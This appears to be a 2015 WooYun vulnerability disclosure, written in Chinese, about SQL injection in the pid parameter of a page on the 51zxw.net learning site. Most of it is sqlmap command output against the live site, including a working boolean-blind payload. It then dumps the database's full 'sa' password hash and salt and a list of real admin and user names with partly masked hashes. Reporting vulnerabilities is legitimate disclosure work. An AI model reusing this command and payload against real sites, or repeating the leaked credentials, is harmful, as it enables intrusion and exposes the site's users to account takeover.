漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0153543
漏洞标题：我要自学网存在sql注射漏洞致用户信息泄露
相关厂商：我要自学网
漏洞作者： 路人甲
提交时间：2015-11-11 16:11
修复时间：2015-12-26 16:12
公开时间：2015-12-26 16:12
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-11-11： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-12-26： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
好危险啊
详细说明：
G:\Python27\sqlmap>sqlmap.py -u http://www.51zxw.net/gp_buy.aspx?pid=526
[*] starting at 13:00:03
[13:00:03] [INFO] resuming back-end DBMS 'microsoft sql server'
[13:00:03] [INFO] testing connection to the target URL
[13:00:04] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: pid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pid=526 AND 9069=9069
---
[13:00:05] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
漏洞证明：
database management system users password hashes:
[*] sa [1]:
password hash: 0x01004086ceb6068a82024faf20b6b06588bea1a1c367810dae3e
header: 0x0100
salt: 4086ceb6
mixedcase: 068a82024faf20b6b06588bea1a1c367810dae3e
--------------------------------------------------------------------
管理员和用户信息的一部分
admin|1A2B1AEC1C768418****85865FF3F3E7
zyok888|565ABC8EEE86E39****4B110816CD47E
Jeson|84EE6E291B692BB2BF****0C93D9DAEB
samohu|C6BF57CC6AC90B1043****5BDAF3E3BE
fyunzhanshi|5E46E71EDC897****0DE35252311CAB0
yang242970|99DAA3AB67293E****B6796957E7B63B
neosong|E9267B2E34EAF9BA7****D2DF9FEB651
feng|0BFC99C85398335C9F3****2425A884
hjs|3BEAA4C66E440E64188****58DAB3D0C
------------------------------------------------
修复方案：
要过滤
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝